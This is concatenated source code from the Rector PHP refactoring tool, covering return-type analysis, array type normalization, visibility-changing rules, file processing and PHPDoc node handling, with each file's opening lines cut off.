$this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Stmt\Function_ $functionLike */ public function hasExclusiveVoid($functionLike) : bool { $classReflection = $this->reflectionResolver->resolveClassReflection($functionLike); if ($classReflection instanceof ClassReflection && $classReflection->isInterface()) { return \false; } return !(bool) $this->betterNodeFinder->findFirstInFunctionLikeScoped($functionLike, function (Node $subNode) : bool { if ($subNode instanceof Yield_ || $subNode instanceof YieldFrom) { return \true; } return $subNode instanceof Return_ && $subNode->expr instanceof Expr; }); } public function hasSilentVoid(FunctionLike $functionLike) : bool { if ($functionLike instanceof ArrowFunction) { return \false; } $stmts = (array) $functionLike->getStmts(); return !$this->hasStmtsAlwaysReturnOrExit($stmts); } /** * @param Stmt[]|Expression[] $stmts */ private function hasStmtsAlwaysReturnOrExit(array $stmts) : bool { foreach ($stmts as $stmt) { if ($this->neverFuncCallAnalyzer->isWithNeverTypeExpr($stmt)) { return \true; } if ($this->isStopped($stmt)) { return \true; } // has switch with always return if ($stmt instanceof Switch_ && $this->isSwitchWithAlwaysReturnOrExit($stmt)) { return \true; } if ($stmt instanceof TryCatch && $this->isTryCatchAlwaysReturnOrExit($stmt)) { return \true; } if ($this->isIfReturn($stmt)) { return \true; } if (!$this->isDoOrWhileWithAlwaysReturnOrExit($stmt)) { continue; } return \true; } return \false; } /** * @param \PhpParser\Node\Stmt\Do_|\PhpParser\Node\Stmt\While_ $node */ private function isFoundLoopControl($node) : bool { $isFoundLoopControl = \false; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($node->stmts, static function (Node $subNode) use(&$isFoundLoopControl) { if ($subNode instanceof Class_ || $subNode instanceof Function_ || $subNode instanceof Closure) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($subNode instanceof Break_ || $subNode instanceof Continue_ || $subNode instanceof Goto_) { $isFoundLoopControl = \true; return NodeTraverser::STOP_TRAVERSAL; } }); return $isFoundLoopControl; } private function isDoOrWhileWithAlwaysReturnOrExit(Stmt $stmt) : bool { if (!$stmt instanceof Do_ && !$stmt instanceof While_) { return \false; } if ($this->valueResolver->isTrue($stmt->cond)) { return !$this->isFoundLoopControl($stmt); } if (!$this->hasStmtsAlwaysReturnOrExit($stmt->stmts)) { return \false; } return $stmt instanceof Do_ && !$this->isFoundLoopControl($stmt); } /** * @param \PhpParser\Node\Stmt|\PhpParser\Node\Expr $stmt */ private function isIfReturn($stmt) : bool { if (!$stmt instanceof If_) { return \false; } foreach ($stmt->elseifs as $elseIf) { if (!$this->hasStmtsAlwaysReturnOrExit($elseIf->stmts)) { return \false; } } if (!$stmt->else instanceof Else_) { return \false; } if (!$this->hasStmtsAlwaysReturnOrExit($stmt->stmts)) { return \false; } return $this->hasStmtsAlwaysReturnOrExit($stmt->else->stmts); } private function isStopped(Stmt $stmt) : bool { if ($stmt instanceof Expression) { $stmt = $stmt->expr; } return $stmt instanceof Throw_ || $stmt instanceof Exit_ || $stmt instanceof Return_ && $stmt->expr instanceof Expr || $stmt instanceof Yield_ || $stmt instanceof YieldFrom; } private function isSwitchWithAlwaysReturnOrExit(Switch_ $switch) : bool { $hasDefault = \false; foreach ($switch->cases as $case) { if (!$case->cond instanceof Expr) { $hasDefault = $case->stmts !== []; break; } } if (!$hasDefault) { return \false; } $casesWithReturnOrExitCount = $this->resolveReturnOrExitCount($switch); $cases = \array_filter($switch->cases, static function (Case_ $case) : bool { return $case->stmts !== []; }); // has same amount of first return or exit nodes as switches return \count($cases) === $casesWithReturnOrExitCount; } private function isTryCatchAlwaysReturnOrExit(TryCatch $tryCatch) : bool { $hasReturnOrExitInFinally = $tryCatch->finally instanceof Finally_ && $this->hasStmtsAlwaysReturnOrExit($tryCatch->finally->stmts); if (!$this->hasStmtsAlwaysReturnOrExit($tryCatch->stmts)) { return $hasReturnOrExitInFinally; } foreach ($tryCatch->catches as $catch) { if ($this->hasStmtsAlwaysReturnOrExit($catch->stmts)) { continue; } if ($hasReturnOrExitInFinally) { continue; } return \false; } return \true; } private function resolveReturnOrExitCount(Switch_ $switch) : int { $casesWithReturnCount = 0; foreach ($switch->cases as $case) { if ($this->hasStmtsAlwaysReturnOrExit($case->stmts)) { ++$casesWithReturnCount; } } return $casesWithReturnCount; } } isSuperTypeOf(new ObjectType('SplFixedArray'))->no()) { return $paramType; } if (!$paramType instanceof TypeWithClassName) { return $paramType; } if ($paramType instanceof GenericObjectType) { return $paramType; } $types = []; if ($paramType->getClassName() === 'PhpCsFixer\\Tokenizer\\Tokens') { $types[] = new ObjectType('PhpCsFixer\\Tokenizer\\Token'); } if ($paramType->getClassName() === 'PhpCsFixer\\Doctrine\\Annotation\\Tokens') { $types[] = new ObjectType('PhpCsFixer\\Doctrine\\Annotation\\Token'); } if ($types === []) { return $paramType; } return new GenericObjectType($paramType->getClassName(), $types); } } privatesAccessor = $privatesAccessor; } /** * @api * * Turn nested array union types to unique ones: * e.g. int[]|string[][]|bool[][]|string[][] * ↓ * int[]|string[][]|bool[][] */ public function normalizeArrayOfUnionToUnionArray(Type $type, int $arrayNesting = 1) : Type { if (!$type instanceof ArrayType) { return $type; } if ($type instanceof ConstantArrayType && $arrayNesting === 1) { return $type; } // first collection of types if ($arrayNesting === 1) { $this->collectedNestedArrayTypes = []; } if ($type->getItemType() instanceof ArrayType) { ++$arrayNesting; $this->normalizeArrayOfUnionToUnionArray($type->getItemType(), $arrayNesting); } elseif ($type->getItemType() instanceof UnionType) { $this->collectNestedArrayTypeFromUnionType($type->getItemType(), $arrayNesting); } else { $this->collectedNestedArrayTypes[] = new NestedArrayType($type->getItemType(), $arrayNesting, $type->getKeyType()); } return $this->createUnionedTypesFromArrayTypes($this->collectedNestedArrayTypes); } /** * From "string[]|mixed[]" based on empty array to to "string[]" */ public function normalizeArrayTypeAndArrayNever(Type $type) : Type { return TypeTraverser::map($type, function (Type $traversedType, callable $traverserCallable) : Type { if ($this->isConstantArrayNever($traversedType)) { \assert($traversedType instanceof ConstantArrayType); // not sure why, but with direct new node everything gets nulled to MixedType $this->privatesAccessor->setPrivateProperty($traversedType, 'keyType', new MixedType()); $this->privatesAccessor->setPrivateProperty($traversedType, 'itemType', new MixedType()); return $traversedType; } if ($traversedType instanceof NeverType) { return new MixedType(); } return $traverserCallable($traversedType, $traverserCallable); }); } private function isConstantArrayNever(Type $type) : bool { return $type instanceof ConstantArrayType && $type->getKeyType() instanceof NeverType && $type->getItemType() instanceof NeverType; } private function collectNestedArrayTypeFromUnionType(UnionType $unionType, int $arrayNesting) : void { foreach ($unionType->getTypes() as $unionedType) { if ($unionedType->isArray()->yes()) { ++$arrayNesting; $this->normalizeArrayOfUnionToUnionArray($unionedType, $arrayNesting); } else { $this->collectedNestedArrayTypes[] = new NestedArrayType($unionedType, $arrayNesting); } } } /** * @param NestedArrayType[] $collectedNestedArrayTypes * @return \PHPStan\Type\UnionType|\PHPStan\Type\ArrayType */ private function createUnionedTypesFromArrayTypes(array $collectedNestedArrayTypes) { $unionedTypes = []; foreach ($collectedNestedArrayTypes as $collectedNestedArrayType) { $arrayType = $collectedNestedArrayType->getType(); for ($i = 0; $i < $collectedNestedArrayType->getArrayNestingLevel(); ++$i) { $arrayType = new ArrayType($collectedNestedArrayType->getKeyType(), $arrayType); } /** @var ArrayType $arrayType */ $unionedTypes[] = $arrayType; } if (\count($unionedTypes) > 1) { return new UnionType($unionedTypes); } return $unionedTypes[0]; } } * @readonly */ private $callLikePosition; /** * @var int<0, max> * @readonly */ private $functionLikePosition; /** * @param int<0, max> $callLikePosition * @param int<0, max> $functionLikePosition */ public function __construct(string $className, string $methodName, int $callLikePosition, int $functionLikePosition) { $this->className = $className; $this->methodName = $methodName; $this->callLikePosition = $callLikePosition; $this->functionLikePosition = $functionLikePosition; RectorAssert::className($className); } public function getObjectType() : ObjectType { return new ObjectType($this->className); } public function getMethodName() : string { return $this->methodName; } /** * @return int<0, max> */ public function getCallLikePosition() : int { return $this->callLikePosition; } /** * @return int<0, max> */ public function getFunctionLikePosition() : int { return $this->functionLikePosition; } } * @readonly */ private $callLikePosition; /** * @var int<0, max> * @readonly */ private $functionLikePosition; /** * @param int<0, max> $callLikePosition * @param int<0, max> $functionLikePosition */ public function __construct(string $className, string $methodName, int $callLikePosition, int $functionLikePosition) { $this->className = $className; $this->methodName = $methodName; $this->callLikePosition = $callLikePosition; $this->functionLikePosition = $functionLikePosition; RectorAssert::className($className); } public function getObjectType() : ObjectType { return new ObjectType($this->className); } public function getMethodName() : string { return $this->methodName; } /** * @return int<0, max> */ public function getCallLikePosition() : int { return $this->callLikePosition; } /** * @return int<0, max> */ public function getFunctionLikePosition() : int { return $this->functionLikePosition; } } * @readonly */ private $position; /** * @readonly * @var \PHPStan\Type\Type */ private $paramType; /** * @param int<0, max> $position */ public function __construct(string $className, string $methodName, int $position, Type $paramType) { $this->className = $className; $this->methodName = $methodName; $this->position = $position; $this->paramType = $paramType; RectorAssert::className($className); } public function getObjectType() : ObjectType { return new ObjectType($this->className); } public function getMethodName() : string { return $this->methodName; } public function getPosition() : int { return $this->position; } public function getParamType() : Type { return $this->paramType; } } |string * @readonly */ private $callLikePosition; /** * @var int<0, max> * @readonly */ private $functionLikePosition; /** * @readonly * @var \PHPStan\Type\Type */ private $paramType; /** * @param int<0, max>|string $callLikePosition * @param int<0, max> $functionLikePosition */ public function __construct(string $className, string $methodName, $callLikePosition, int $functionLikePosition, Type $paramType) { $this->className = $className; $this->methodName = $methodName; $this->callLikePosition = $callLikePosition; $this->functionLikePosition = $functionLikePosition; $this->paramType = $paramType; RectorAssert::className($className); } public function getObjectType() : ObjectType { return new ObjectType($this->className); } public function getMethodName() : string { return $this->methodName; } /** * @return int<0, max>|string */ public function getCallLikePosition() { return $this->callLikePosition; } /** * @return int<0, max> */ public function getFunctionLikePosition() : int { return $this->functionLikePosition; } public function getParamType() : Type { return $this->paramType; } } class = $class; $this->propertyName = $propertyName; $this->type = $type; RectorAssert::className($class); } public function getClass() : string { return $this->class; } public function getPropertyName() : string { return $this->propertyName; } public function getType() : Type { return $this->type; } } class = $class; $this->method = $method; $this->returnType = $returnType; RectorAssert::className($class); } public function getClass() : string { return $this->class; } public function getMethod() : string { return $this->method; } public function getReturnType() : Type { return $this->returnType; } public function getObjectType() : ObjectType { return new ObjectType($this->class); } } variableName = $variableName; $this->assignedExpr = $assignedExpr; } public function getVariableName() : string { return $this->variableName; } public function getAssignedExpr() : Expr { return $this->assignedExpr; } } * @readonly */ public $nodes; /** * @param array $nodes */ public function __construct(array $nodes) { $this->nodes = $nodes; } public function isEmpty() : bool { return $this->nodes === []; } } type = $type; $this->arrayNestingLevel = $arrayNestingLevel; $this->keyType = $keyType; } public function getType() : Type { return $this->type; } public function getArrayNestingLevel() : int { return $this->arrayNestingLevel; } public function getKeyType() : Type { if ($this->keyType instanceof Type) { return $this->keyType; } return new MixedType(); } } visibilityManipulator = $visibilityManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change visibility of constant from parent class.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class FrameworkClass { protected const SOME_CONSTANT = 1; } class MyClass extends FrameworkClass { public const SOME_CONSTANT = 1; } CODE_SAMPLE , <<<'CODE_SAMPLE' class FrameworkClass { protected const SOME_CONSTANT = 1; } class MyClass extends FrameworkClass { protected const SOME_CONSTANT = 1; } CODE_SAMPLE , [new ChangeConstantVisibility('ParentObject', 'SOME_CONSTANT', Visibility::PROTECTED)])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class, Interface_::class]; } /** * @param Class_|Interface_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($this->classConstantVisibilityChanges as $classConstantVisibilityChange) { if (!$this->isObjectType($node, $classConstantVisibilityChange->getObjectType())) { continue; } foreach ($node->getConstants() as $classConst) { if (!$this->isName($classConst, $classConstantVisibilityChange->getConstant())) { continue; } $this->visibilityManipulator->changeNodeVisibility($classConst, $classConstantVisibilityChange->getVisibility()); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, ChangeConstantVisibility::class); $this->classConstantVisibilityChanges = $configuration; } } parentClassScopeResolver = $parentClassScopeResolver; $this->visibilityManipulator = $visibilityManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change visibility of method from parent class.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class FrameworkClass { protected function someMethod() { } } class MyClass extends FrameworkClass { public function someMethod() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class FrameworkClass { protected function someMethod() { } } class MyClass extends FrameworkClass { protected function someMethod() { } } CODE_SAMPLE , [new ChangeMethodVisibility('FrameworkClass', 'someMethod', Visibility::PROTECTED)])]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->methodVisibilities === []) { return null; } $parentClassName = $this->parentClassScopeResolver->resolveParentClassName($scope); if ($parentClassName === null) { return null; } foreach ($this->methodVisibilities as $methodVisibility) { if ($methodVisibility->getClass() !== $parentClassName) { continue; } if (!$this->isName($node, $methodVisibility->getMethod())) { continue; } $this->visibilityManipulator->changeNodeVisibility($node, $methodVisibility->getVisibility()); return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, ChangeMethodVisibility::class); $this->methodVisibilities = $configuration; } } visibilityManipulator = $visibilityManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add explicit public method visibility.', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { function foo() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function foo() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactor(Node $node) : ?Node { return $this->visibilityManipulator->publicize($node); } } class = $class; $this->constant = $constant; $this->visibility = $visibility; RectorAssert::className($class); } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getConstant() : string { return $this->constant; } public function getVisibility() : int { return $this->visibility; } } class = $class; $this->method = $method; $this->visibility = $visibility; RectorAssert::className($class); } public function getClass() : string { return $this->class; } public function getMethod() : string { return $this->method; } public function getVisibility() : int { return $this->visibility; } } symfonyStyle = $symfonyStyle; $this->filesFinder = $filesFinder; $this->parallelFileProcessor = $parallelFileProcessor; $this->scheduleFactory = $scheduleFactory; $this->cpuCoreCountProvider = $cpuCoreCountProvider; $this->changedFilesDetector = $changedFilesDetector; $this->currentFileProvider = $currentFileProvider; $this->fileProcessor = $fileProcessor; $this->arrayParametersMerger = $arrayParametersMerger; $this->missConfigurationReporter = $missConfigurationReporter; } public function run(Configuration $configuration, InputInterface $input) : ProcessResult { $filePaths = $this->filesFinder->findFilesInPaths($configuration->getPaths(), $configuration); $this->missConfigurationReporter->reportVendorInPaths($filePaths); $this->missConfigurationReporter->reportStartWithShortOpenTag(); // no files found if ($filePaths === []) { return new ProcessResult([], []); } $this->configureCustomErrorHandler(); /** * Mimic @see https://github.com/phpstan/phpstan-src/blob/ab154e1da54d42fec751e17a1199b3e07591e85e/src/Command/AnalyseApplication.php#L188C23-L244 */ if ($configuration->shouldShowProgressBar()) { $fileCount = \count($filePaths); $this->symfonyStyle->progressStart($fileCount); $this->symfonyStyle->progressAdvance(0); $postFileCallback = function (int $stepCount) : void { $this->symfonyStyle->progressAdvance($stepCount); // running in parallel here → nothing else to do }; } else { $postFileCallback = static function (int $stepCount) : void { }; } if ($configuration->isDebug()) { $preFileCallback = function (string $filePath) : void { $this->symfonyStyle->writeln('[file] ' . $filePath); }; } else { $preFileCallback = null; } if ($configuration->isParallel()) { $processResult = $this->runParallel($filePaths, $input, $postFileCallback); } else { $processResult = $this->processFiles($filePaths, $configuration, $preFileCallback, $postFileCallback); } $processResult->addSystemErrors($this->systemErrors); $this->restoreErrorHandler(); return $processResult; } /** * @param string[] $filePaths * @param callable(string $file): void|null $preFileCallback * @param callable(int $fileCount): void|null $postFileCallback */ public function processFiles(array $filePaths, Configuration $configuration, ?callable $preFileCallback = null, ?callable $postFileCallback = null) : ProcessResult { /** @var SystemError[] $systemErrors */ $systemErrors = []; /** @var FileDiff[] $fileDiffs */ $fileDiffs = []; foreach ($filePaths as $filePath) { if ($preFileCallback !== null) { $preFileCallback($filePath); } $file = new File($filePath, UtilsFileSystem::read($filePath)); try { $fileProcessResult = $this->processFile($file, $configuration); $systemErrors = $this->arrayParametersMerger->merge($systemErrors, $fileProcessResult->getSystemErrors()); $currentFileDiff = $fileProcessResult->getFileDiff(); if ($currentFileDiff instanceof FileDiff) { $fileDiffs[] = $currentFileDiff; } // progress bar on parallel handled on runParallel() if (\is_callable($postFileCallback)) { $postFileCallback(1); } } catch (Throwable $throwable) { $this->changedFilesDetector->invalidateFile($filePath); if (StaticPHPUnitEnvironment::isPHPUnitRun()) { throw $throwable; } $systemErrors[] = $this->resolveSystemError($throwable, $filePath); } } return new ProcessResult($systemErrors, $fileDiffs); } private function processFile(File $file, Configuration $configuration) : FileProcessResult { $this->currentFileProvider->setFile($file); $fileProcessResult = $this->fileProcessor->processFile($file, $configuration); if ($fileProcessResult->getSystemErrors() !== []) { $this->changedFilesDetector->invalidateFile($file->getFilePath()); } elseif (!$configuration->isDryRun() || !$fileProcessResult->getFileDiff() instanceof FileDiff) { $this->changedFilesDetector->cacheFile($file->getFilePath()); } return $fileProcessResult; } private function resolveSystemError(Throwable $throwable, string $filePath) : SystemError { $errorMessage = \sprintf('System error: "%s"', $throwable->getMessage()) . \PHP_EOL; if ($this->symfonyStyle->isDebug()) { $errorMessage .= \PHP_EOL . 'Stack trace:' . \PHP_EOL . $throwable->getTraceAsString(); } else { $errorMessage .= 'Run Rector with "--debug" option and post the report here: https://github.com/rectorphp/rector/issues/new'; } if ($throwable instanceof ParserErrorsException) { $throwable = new ParserErrors($throwable); } return new SystemError($errorMessage, $filePath, $throwable->getLine()); } /** * Inspired by @see https://github.com/phpstan/phpstan-src/blob/89af4e7db257750cdee5d4259ad312941b6b25e8/src/Analyser/Analyser.php#L134 */ private function configureCustomErrorHandler() : void { $errorHandlerCallback = function (int $code, string $message, string $file, int $line) : bool { if ((\error_reporting() & $code) === 0) { // silence @ operator return \true; } // not relevant for us if (\in_array($code, [\E_DEPRECATED, \E_WARNING], \true)) { return \true; } $this->systemErrors[] = new SystemError($message, $file, $line); return \true; }; \set_error_handler($errorHandlerCallback); } private function restoreErrorHandler() : void { \restore_error_handler(); } /** * @param string[] $filePaths * @param callable(int $stepCount): void $postFileCallback */ private function runParallel(array $filePaths, InputInterface $input, callable $postFileCallback) : ProcessResult { $schedule = $this->scheduleFactory->create($this->cpuCoreCountProvider->provide(), SimpleParameterProvider::provideIntParameter(Option::PARALLEL_JOB_SIZE), SimpleParameterProvider::provideIntParameter(Option::PARALLEL_MAX_NUMBER_OF_PROCESSES), $filePaths); $mainScript = $this->resolveCalledRectorBinary(); if ($mainScript === null) { throw new ParallelShouldNotHappenException('[parallel] Main script was not found'); } // mimics see https://github.com/phpstan/phpstan-src/commit/9124c66dcc55a222e21b1717ba5f60771f7dda92#diff-387b8f04e0db7a06678eb52ce0c0d0aff73e0d7d8fc5df834d0a5fbec198e5daR139 return $this->parallelFileProcessor->process($schedule, $mainScript, $postFileCallback, $input); } /** * Path to called "rector" binary file, e.g. "vendor/bin/rector" returns "vendor/bin/rector" This is needed to re-call the * ecs binary in sub-process in the same location. */ private function resolveCalledRectorBinary() : ?string { if (!isset($_SERVER[self::ARGV][0])) { return null; } $potentialRectorBinaryPath = $_SERVER[self::ARGV][0]; if (!\file_exists($potentialRectorBinaryPath)) { return null; } return $potentialRectorBinaryPath; } } phpStanNodeScopeResolver = $phpStanNodeScopeResolver; $this->scopeAnalyzer = $scopeAnalyzer; } public function refresh(Node $node, string $filePath, ?MutatingScope $mutatingScope) : void { // nothing to refresh if (!$this->scopeAnalyzer->isRefreshable($node)) { return; } if (!$mutatingScope instanceof MutatingScope) { $errorMessage = \sprintf('Node "%s" with is missing scope required for scope refresh', \get_class($node)); throw new ShouldNotHappenException($errorMessage); } $stmts = $this->resolveStmts($node); $this->phpStanNodeScopeResolver->processNodes($stmts, $filePath, $mutatingScope); } public function reIndexNodeAttributes(Node $node) : void { if ($node instanceof FunctionLike) { /** @var ClassMethod|Function_|Closure $node */ $node->params = \array_values($node->params); if ($node instanceof Closure) { $node->uses = \array_values($node->uses); } } if ($node instanceof CallLike) { /** @var FuncCall|MethodCall|New_|NullsafeMethodCall|StaticCall $node */ $node->args = \array_values($node->args); } if ($node instanceof If_) { $node->elseifs = \array_values($node->elseifs); } if ($node instanceof TryCatch) { $node->catches = \array_values($node->catches); } if ($node instanceof Switch_) { $node->cases = \array_values($node->cases); } } /** * @return Stmt[] */ private function resolveStmts(Node $node) : array { if ($node instanceof Stmt) { return [$node]; } if ($node instanceof Expr) { return [new Expression($node)]; } $errorMessage = \sprintf('Complete parent node of "%s" be a stmt.', \get_class($node)); throw new ShouldNotHappenException($errorMessage); } } betterStandardPrinter = $betterStandardPrinter; $this->rectorNodeTraverser = $rectorNodeTraverser; $this->symfonyStyle = $symfonyStyle; $this->fileDiffFactory = $fileDiffFactory; $this->changedFilesDetector = $changedFilesDetector; $this->errorFactory = $errorFactory; $this->filePathHelper = $filePathHelper; $this->postFileProcessor = $postFileProcessor; $this->rectorParser = $rectorParser; $this->nodeScopeAndMetadataDecorator = $nodeScopeAndMetadataDecorator; } public function processFile(File $file, Configuration $configuration) : FileProcessResult { // 1. parse files to nodes $parsingSystemError = $this->parseFileAndDecorateNodes($file); if ($parsingSystemError instanceof SystemError) { // we cannot process this file as the parsing and type resolving itself went wrong return new FileProcessResult([$parsingSystemError], null); } $fileHasChanged = \false; $filePath = $file->getFilePath(); // 2. change nodes with Rectors $rectorWithLineChanges = null; do { $file->changeHasChanged(\false); $newStmts = $this->rectorNodeTraverser->traverse($file->getNewStmts()); // apply post rectors $postNewStmts = $this->postFileProcessor->traverse($newStmts, $file); // this is needed for new tokens added in "afterTraverse()" $file->changeNewStmts($postNewStmts); // 3. print to file or string // important to detect if file has changed $this->printFile($file, $configuration, $filePath); $fileHasChangedInCurrentPass = $file->hasChanged(); if ($fileHasChangedInCurrentPass) { $file->setFileDiff($this->fileDiffFactory->createTempFileDiff($file)); $rectorWithLineChanges = $file->getRectorWithLineChanges(); $fileHasChanged = \true; } } while ($fileHasChangedInCurrentPass); // 5. add as cacheable if not changed at all if (!$fileHasChanged) { $this->changedFilesDetector->addCachableFile($filePath); } if ($configuration->shouldShowDiffs() && $rectorWithLineChanges !== null) { $currentFileDiff = $this->fileDiffFactory->createFileDiffWithLineChanges($file, $file->getOriginalFileContent(), $file->getFileContent(), $rectorWithLineChanges); $file->setFileDiff($currentFileDiff); } return new FileProcessResult([], $file->getFileDiff()); } private function parseFileAndDecorateNodes(File $file) : ?SystemError { try { $this->parseFileNodes($file); } catch (ShouldNotHappenException $shouldNotHappenException) { throw $shouldNotHappenException; } catch (AnalysedCodeException $analysedCodeException) { // inform about missing classes in tests if (StaticPHPUnitEnvironment::isPHPUnitRun()) { throw $analysedCodeException; } return $this->errorFactory->createAutoloadError($analysedCodeException, $file->getFilePath()); } catch (Throwable $throwable) { if ($this->symfonyStyle->isVerbose() || StaticPHPUnitEnvironment::isPHPUnitRun()) { throw $throwable; } $relativeFilePath = $this->filePathHelper->relativePath($file->getFilePath()); if ($throwable instanceof ParserErrorsException) { $throwable = new ParserErrors($throwable); } return new SystemError($throwable->getMessage(), $relativeFilePath, $throwable->getLine()); } return null; } private function printFile(File $file, Configuration $configuration, string $filePath) : void { // only save to string first, no need to print to file when not needed $newContent = $this->betterStandardPrinter->printFormatPreserving($file->getNewStmts(), $file->getOldStmts(), $file->getOldTokens()); /** * When no diff applied, the PostRector may still change the content, that's why printing still needed * On printing, the space may be wiped, these below check compare with original file content used to verify * that no change actually needed */ if (!$file->getFileDiff() instanceof FileDiff) { /** * Handle new line or space before getOriginalFileContent()); if ($ltrimOriginalFileContent === $newContent) { return; } // handle space before hasChanged() based on new content $file->changeFileContent($newContent); if ($configuration->isDryRun()) { return; } if (!$file->hasChanged()) { return; } FileSystem::write($filePath, $newContent, null); } private function parseFileNodes(File $file) : void { // store tokens by original file content, so we don't have to print them right now $stmtsAndTokens = $this->rectorParser->parseFileContentToStmtsAndTokens($file->getOriginalFileContent()); $oldStmts = $stmtsAndTokens->getStmts(); $oldTokens = $stmtsAndTokens->getTokens(); $newStmts = $this->nodeScopeAndMetadataDecorator->decorateNodesFromFile($file->getFilePath(), $oldStmts); $file->hydrateStmtsAndTokens($newStmts, $oldStmts, $oldTokens); } } file = $file; } public function getFile() : ?File { return $this->file; } } dynamicSourceLocatorDecorator = $dynamicSourceLocatorDecorator; } public function autoloadInput(InputInterface $input) : void { if (!$input->hasOption(Option::AUTOLOAD_FILE)) { return; } /** @var string|null $autoloadFile */ $autoloadFile = $input->getOption(Option::AUTOLOAD_FILE); if ($autoloadFile === null) { return; } Assert::fileExists($autoloadFile, \sprintf('Extra autoload file %s was not found', $autoloadFile)); require_once $autoloadFile; } public function autoloadPaths() : void { $autoloadPaths = SimpleParameterProvider::provideArrayParameter(Option::AUTOLOAD_PATHS); $this->dynamicSourceLocatorDecorator->addPaths($autoloadPaths); } } requireRectorStubs(); } private function requireRectorStubs() : void { /** @var false|string $stubsRectorDirectory */ $stubsRectorDirectory = \realpath(__DIR__ . '/../../stubs-rector'); if ($stubsRectorDirectory === \false) { return; } $dir = new RecursiveDirectoryIterator($stubsRectorDirectory, RecursiveDirectoryIterator::SKIP_DOTS); /** @var SplFileInfo[] $stubs */ $stubs = new RecursiveIteratorIterator($dir); foreach ($stubs as $stub) { require_once $stub->getRealPath(); } } } hasAttribute($attributeToMirror)) { continue; } $attributeValue = $oldNode->getAttribute($attributeToMirror); $newNode->setAttribute($attributeToMirror, $attributeValue); } } } getComments(); foreach ($mergedNodes as $mergedNode) { $comments = \array_merge($comments, $mergedNode->getComments()); } if ($comments === []) { return; } $newNode->setAttribute(AttributeKey::COMMENTS, $comments); // remove so comments "win" $newNode->setAttribute(AttributeKey::PHP_DOC_INFO, null); } } betterTokenIterator = $betterTokenIterator; } public function provide() : BetterTokenIterator { if (!$this->betterTokenIterator instanceof BetterTokenIterator) { throw new ShouldNotHappenException(); } return $this->betterTokenIterator; } } isLegalUnionType($type); } return \true; } private function isLegalUnionType(UnionType $type) : bool { foreach ($type->getTypes() as $unionType) { if ($unionType instanceof MixedType) { return \false; } } return \true; } } value = $value; $this->key = $key; } public function __toString() : string { $value = ''; if ($this->key !== null && !\is_int($this->key)) { $value .= $this->key . '='; } if (\is_array($this->value)) { foreach ($this->value as $singleValue) { $value .= $singleValue; } } elseif ($this->value instanceof \Rector\BetterPhpDocParser\PhpDoc\DoctrineAnnotationTagValueNode) { $value .= '@' . \ltrim((string) $this->value->identifierTypeNode, '@') . $this->value; } else { $value .= $this->value; } return $value; } } identifierTypeNode = $identifierTypeNode; $this->hasChanged = \true; parent::__construct($values, $originalContent, $silentKey); if (!\in_array($comment, ['', null], \true)) { $this->setAttribute(AttributeKey::ATTRIBUTE_COMMENT, $comment); } } public function __toString() : string { if (!$this->hasChanged) { if ($this->originalContent === null) { return ''; } return $this->originalContent; } if ($this->values === []) { if ($this->originalContent === '()') { // empty brackets return $this->originalContent; } return ''; } $itemContents = $this->printValuesContent($this->values); return \sprintf('(%s)', $itemContents); } public function hasClassName(string $className) : bool { $annotationName = \trim($this->identifierTypeNode->name, '@'); if ($annotationName === $className) { return \true; } // the name is not fully qualified in the original name, look for resolved class attribute $resolvedClass = $this->identifierTypeNode->getAttribute(PhpDocAttributeKey::RESOLVED_CLASS); return $resolvedClass === $className; } } name . $this->value; } } value = $value; $this->value = \str_replace('""', '"', $this->value); if (\strpos($this->value, "'") !== \false && \strpos($this->value, "\n") === \false) { $kind = String_::KIND_DOUBLE_QUOTED; } else { $kind = String_::KIND_SINGLE_QUOTED; } $this->setAttribute(AttributeKey::KIND, $kind); } public function __toString() : string { return '"' . \str_replace('"', '""', $this->value) . '"'; } } , string> */ private const TAGS_TYPES_TO_NAMES = [ReturnTagValueNode::class => '@return', ParamTagValueNode::class => '@param', VarTagValueNode::class => '@var', MethodTagValueNode::class => '@method', PropertyTagValueNode::class => '@property', ExtendsTagValueNode::class => '@extends', ImplementsTagValueNode::class => '@implements']; /** * @var bool */ private $isSingleLine = \false; /** * @readonly * @var \PHPStan\PhpDocParser\Ast\PhpDoc\PhpDocNode */ private $originalPhpDocNode; public function __construct(PhpDocNode $phpDocNode, BetterTokenIterator $betterTokenIterator, StaticTypeMapper $staticTypeMapper, \PhpParser\Node $node, AnnotationNaming $annotationNaming, PhpDocNodeByTypeFinder $phpDocNodeByTypeFinder) { $this->phpDocNode = $phpDocNode; $this->betterTokenIterator = $betterTokenIterator; $this->staticTypeMapper = $staticTypeMapper; $this->node = $node; $this->annotationNaming = $annotationNaming; $this->phpDocNodeByTypeFinder = $phpDocNodeByTypeFinder; $this->originalPhpDocNode = clone $phpDocNode; if (!$betterTokenIterator->containsTokenType(Lexer::TOKEN_PHPDOC_EOL)) { $this->isSingleLine = \true; } } /** * @api */ public function addPhpDocTagNode(PhpDocChildNode $phpDocChildNode) : void { $this->phpDocNode->children[] = $phpDocChildNode; // to give node more space $this->makeMultiLined(); } public function getPhpDocNode() : PhpDocNode { return $this->phpDocNode; } public function getOriginalPhpDocNode() : PhpDocNode { return $this->originalPhpDocNode; } /** 